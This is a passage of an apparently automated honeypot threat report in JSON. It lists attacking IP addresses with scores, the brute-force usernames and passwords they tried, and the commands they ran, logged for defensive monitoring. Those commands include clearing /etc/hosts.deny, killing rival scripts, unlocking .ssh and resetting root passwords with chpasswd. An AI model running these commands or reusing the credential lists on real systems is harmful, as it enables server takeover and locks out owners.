      "as_org": "MIRANTE NETWORK COMUNICACAO LTDA",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 774,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:10:10.061000+00:00",
        "last_seen_30d": "2026-05-22T09:44:23.011000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 516,
        "Suricata": 258
      }
    },
    "85.95.166.40": {
      "attack_count": 501,
      "first_seen": "2026-05-03T02:17:49.484Z",
      "last_seen": "2026-05-06T15:55:47.472Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ftpuser",
        "user",
        "debian",
        "deploy",
        "dev",
        "test",
        "test1",
        "Ubuntu",
        "admin",
        "admin1",
        "administrator",
        "appltest",
        "centos",
        "deployer",
        "devuser",
        "epadmin",
        "es"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx",
        "123456",
        "112",
        "123321",
        "1234",
        "12345678Abc",
        "1qaz2wsx",
        "@dm1n@123",
        "Pass@123",
        "Password#1",
        "Ubuntu2023",
        "abc",
        "admin123",
        "admin123456789",
        "admin@!@",
        "admin@123#",
        "admin@123456",
        "adminx"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Pass@123\\nAqEn581zjRcV\\nAqEn581zjRcV\\n\"|passwd",
        "echo \"changeme\\nqbiCY6zsmhQs\\nqbiCY6zsmhQs\\n\"|passwd",
        "echo \"debian123\\ngM753u7uQ1bf\\ngM753u7uQ1bf\\n\"|passwd",
        "echo -e \"Pass@123\\nAqEn581zjRcV\\nAqEn581zjRcV\"|passwd|bash",
        "echo -e \"changeme\\nqbiCY6zsmhQs\\nqbiCY6zsmhQs\"|passwd|bash",
        "echo -e \"debian123\\ngM753u7uQ1bf\\ngM753u7uQ1bf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 7.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 650,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:17:49.484000+00:00",
        "last_seen_30d": "2026-05-06T15:56:51.905000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 501,
        "Suricata": 149
      }
    },
    "197.221.232.44": {
      "attack_count": 429,
      "first_seen": "2026-05-25T07:26:03.653Z",
      "last_seen": "2026-05-29T00:02:41.339Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cloud",
        "cma",
        "curl",
        "frappe",
        "jhlee",
        "mcserver",
        "min",
        "monitor",
        "postgres",
        "serv",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "fjbdfdjkdsfs541544",
        "123",
        "123.com",
        "1234",
        "123456qq",
        "123@Root",
        "Abcd1234@",
        "Admin!@#123",
        "Alibaba123",
        "Asdf1234!",
        "Chen@123",
        "QQqq123456",
        "Qwer4321",
        "Root@2026",
        "Wangsu@2017",
        "admin123",
        "assassin",
        "cma123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Wangsu@2017\\nHwI1IJLTK6lx\\nHwI1IJLTK6lx\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nWE5XAJNZO5Tt\\nWE5XAJNZO5Tt\\n\"|passwd",
        "echo \"root:Meh8fOhxgYLS\"|chpasswd|bash",
        "echo \"root:jShmoINUdgnB\"|chpasswd|bash",
        "echo -e \"Wangsu@2017\\nHwI1IJLTK6lx\\nHwI1IJLTK6lx\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nWE5XAJNZO5Tt\\nWE5XAJNZO5Tt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Zimbabwe",
      "country_code": "ZW",
      "city": "Harare",
      "asn": 37204,
      "as_org": "TELONE",
      "threat_score": 40.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 522,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T07:26:03.653000+00:00",
        "last_seen_30d": "2026-05-29T00:03:47.067000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 429,
        "Suricata": 93
      }
    },
    "52.176.211.73": {
      "attack_count": 401,
      "first_seen": "2026-05-06T14:10:12.019Z",
      "last_seen": "2026-05-25T19:29:44.259Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "oracle",
        "curl",
        "user",
        "admin1",
        "appuser",
        "chin",
        "cloud",
        "dcadmin",
        "deploy",
        "deployer",
        "dev",
        "ftpadmin",
        "ftptest",
        "git2",
        "guest",
        "mc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "#admin#",
        "00",
        "1212",
        "1221",
        "1234567890987654321",
        "1234Qwer",
        "1234qwer",
        "123test",
        "14141414",
        "1991",
        "1@admin",
        "1qaz2wsx3edc",
        "555666",
        "5f4dcc3b5aa765d61d8327deb882cf99",
        "Aa123456",
        "Password01"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Welcome1\\nZmEindCTJqmp\\nZmEindCTJqmp\\n\"|passwd",
        "echo \"welltech12\\ndvYnmxSbAEj0\\ndvYnmxSbAEj0\\n\"|passwd",
        "echo -e \"Welcome1\\nZmEindCTJqmp\\nZmEindCTJqmp\"|passwd|bash",
        "echo -e \"welltech12\\ndvYnmxSbAEj0\\ndvYnmxSbAEj0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 44.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 527,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T14:10:12.019000+00:00",
        "last_seen_30d": "2026-05-25T19:30:47.351000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 401,
        "Suricata": 126
      }
    },
    "103.190.214.241": {
      "attack_count": 378,
      "first_seen": "2026-05-23T17:29:05.995Z",
      "last_seen": "2026-05-31T07:39:56.839Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "aroot",
        "dummy",
        "mike",
        "steam",
        "ts3server",
        "zabbix"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789",
        "12345Qwert",
        "1234qwer",
        "147258369",
        "Admin@888",
        "Ff123456@",
        "Huawei123!",
        "P@ssword1",
        "aA12345678",
        "adminpassword",
        "aroot",
        "dummy",
        "mike",
        "password",
        "qq123456.",
        "qweasdzxc123",
        "redhat",
        "steam123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"adminpassword\\nSGnV6uSyn8Av\\nSGnV6uSyn8Av\\n\"|passwd",
        "echo \"root:c5BqaahWL2ey\"|chpasswd|bash",
        "echo \"root:kofzo9cb2PJC\"|chpasswd|bash",
        "echo \"root:uSHVafrDUSmO\"|chpasswd|bash",
        "echo -e \"adminpassword\\nSGnV6uSyn8Av\\nSGnV6uSyn8Av\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 38513,
      "as_org": "PT Aplikanusa Lintasarta",
      "threat_score": 46.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 446,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T17:29:05.995000+00:00",
        "last_seen_30d": "2026-05-31T07:41:01.298000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 378,
        "Suricata": 68
      }
    },
    "152.67.46.203": {
      "attack_count": 312,
      "first_seen": "2026-05-22T18:44:12.070Z",
      "last_seen": "2026-05-24T05:01:25.500Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "david",
        "adam",
        "appadmin",
        "deploy",
        "ernesto",
        "frappe",
        "ir",
        "localadmin",
        "mysql",
        "odoo",
        "printer",
        "rfas",
        "roott",
        "test",
        "ts3",
        "ubuntu",
        "user",
        "useradmin"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "123456zz",
        "1234@Abcd",
        "1234rewq!",
        "123@Root",
        "1qaz@WSX#EDC",
        "1qazxsw2@",
        "Admin123*",
        "As123456.",
        "Cloud@2023",
        "P@ssw0rd",
        "Pass@word1",
        "^YHN7ujm",
        "aA123456789",
        "aA@12345",
        "adam",
        "admin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"david\\noBTUL5zlwd4W\\noBTUL5zlwd4W\\n\"|passwd",
        "echo \"root:ozJYmzZkYU6o\"|chpasswd|bash",
        "echo -e \"david\\noBTUL5zlwd4W\\noBTUL5zlwd4W\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 410,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T18:44:12.070000+00:00",
        "last_seen_30d": "2026-05-24T05:02:34.518000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 98
      }
    },
    "165.154.5.3": {
      "attack_count": 285,
      "first_seen": "2026-05-28T10:06:20.722Z",
      "last_seen": "2026-05-28T10:32:49.256Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "wireguard",
        "admin",
        "adminuser",
        "agent",
        "ftpuser",
        "sftptest",
        "staging",
        "ty",
        "wfp",
        "zenith"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W3e4r",
        "123",
        "1234",
        "12qw",
        "P@SSW0RD",
        "P@ssw0rd",
        "Qwe@123456789",
        "agent123!",
        "fjbdfdjkdsfs541544",
        "opengate",
        "qwe123456@",
        "sftptest",
        "staging123",
        "ty",
        "wfp",
        "zenith"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nCzHHRcu198dh\\nCzHHRcu198dh\\n\"|passwd",
        "echo \"root:H2WH1xLpflZ7\"|chpasswd|bash",
        "echo \"root:MvPZ6s51Ku7b\"|chpasswd|bash",
        "echo -e \"1234\\nCzHHRcu198dh\\nCzHHRcu198dh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T10:06:20.722000+00:00",
        "last_seen_30d": "2026-05-28T10:33:49.379000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 285,
        "Suricata": 49
      }
    },
    "43.135.135.126": {
      "attack_count": 238,
      "first_seen": "2026-05-18T09:06:01.481Z",
      "last_seen": "2026-05-18T09:34:39.999Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "john",
        "teamspeak",
        "teste",
        "azureuser",
        "dev",
        "game",
        "school",
        "stu",
        "user03",
        "world"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX3edc4rfv",
        "123456",
        "12345678",
        "12qw12qw",
        "AAAaaa111",
        "Admin*2024",
        "Fd123456",
        "Password123!",
        "Qwerty#2025",
        "Test2020",
        "abcd-1234",
        "dev@1234",
        "game123",
        "lihao023..",
        "password",
        "school",
        "stu"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nAQABKUqJySx0\\nAQABKUqJySx0\\n\"|passwd",
        "echo \"123\\nZack1YfQ5w94\\nZack1YfQ5w94\\n\"|passwd",
        "echo -e \"123\\nAQABKUqJySx0\\nAQABKUqJySx0\"|passwd|bash",
        "echo -e \"123\\nZack1YfQ5w94\\nZack1YfQ5w94\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T09:06:01.481000+00:00",
        "last_seen_30d": "2026-05-18T09:35:47.178000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 54
      }
    },
    "103.187.146.90": {
      "attack_count": 211,
      "first_seen": "2026-05-23T16:32:38.658Z",
      "last_seen": "2026-05-23T17:26:21.252Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "elasticsearch",
        "mk",
        "postgres",
        "sgp",
        "sri"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789010",
        "2001",
        "@Admin2024",
        "A123123a",
        "Debian@123",
        "Password@123",
        "Q1w2e3r4t5y6u7i8o9p0",
        "Zx123456.",
        "asdasd123123",
        "caca",
        "elasticsearch",
        "mk",
        "qwer@1234",
        "sgp@123",
        "sri123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Dj9kb7UZ133w\"|chpasswd|bash",
        "echo \"root:GT9zLFOiMc5n\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T16:32:38.658000+00:00",
        "last_seen_30d": "2026-05-23T17:27:22.734000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 46
      }
    },
    "42.238.205.4": {
      "attack_count": 204,
      "first_seen": "2026-05-20T19:09:16.595Z",
      "last_seen": "2026-05-21T06:23:07.250Z",
      "sessions": 102,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 306,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T19:09:16.595000+00:00",
        "last_seen_30d": "2026-05-21T06:24:12.753000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 102
      }
    },
    "103.143.11.168": {
      "attack_count": 186,
      "first_seen": "2026-05-12T08:48:49.524Z",
      "last_seen": "2026-05-12T09:14:35.686Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "administrator",
        "deploy",
        "ftpuser",
        "server",
        "appldev",
        "csgoserver",
        "es",
        "guest",
        "newtest",
        "oracle",
        "sysadmin",
        "test",
        "test10",
        "testuser",
        "ts3server",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "000000",
        "1111",
        "123456",
        "123qwe",
        "123qwe!@",
        "123qweASD",
        "19999999",
        "1qaz@WSX",
        "P@$$w0rd",
        "P@ssw0rd!!",
        "abc#123",
        "abcd1234!",
        "admin.12345",
        "admin@123",
        "admin@2018",
        "adminadmin1234",
        "appldev"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T08:48:49.524000+00:00",
        "last_seen_30d": "2026-05-12T09:15:39.149000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 73
      }
    },
    "43.156.97.116": {
      "attack_count": 168,
      "first_seen": "2026-05-18T12:20:34.950Z",
      "last_seen": "2026-05-18T12:49:16.757Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#$5678",
        "1230",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin2018",
        "FZAc8jnw.XdKgFZAc8jnw.XdKg",
        "QAZwsxedcrfv",
        "adm1n",
        "adminpass123",
        "bbs123",
        "cloud",
        "emporium",
        "latitude",
        "london",
        "nagios@123",
        "qazxsw123",
        "robin",
        "root!1",
        "sun2day",
        "unreal"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:7BNZCeNWabXH\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T12:20:34.950000+00:00",
        "last_seen_30d": "2026-05-18T12:50:19.960000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 50
      }
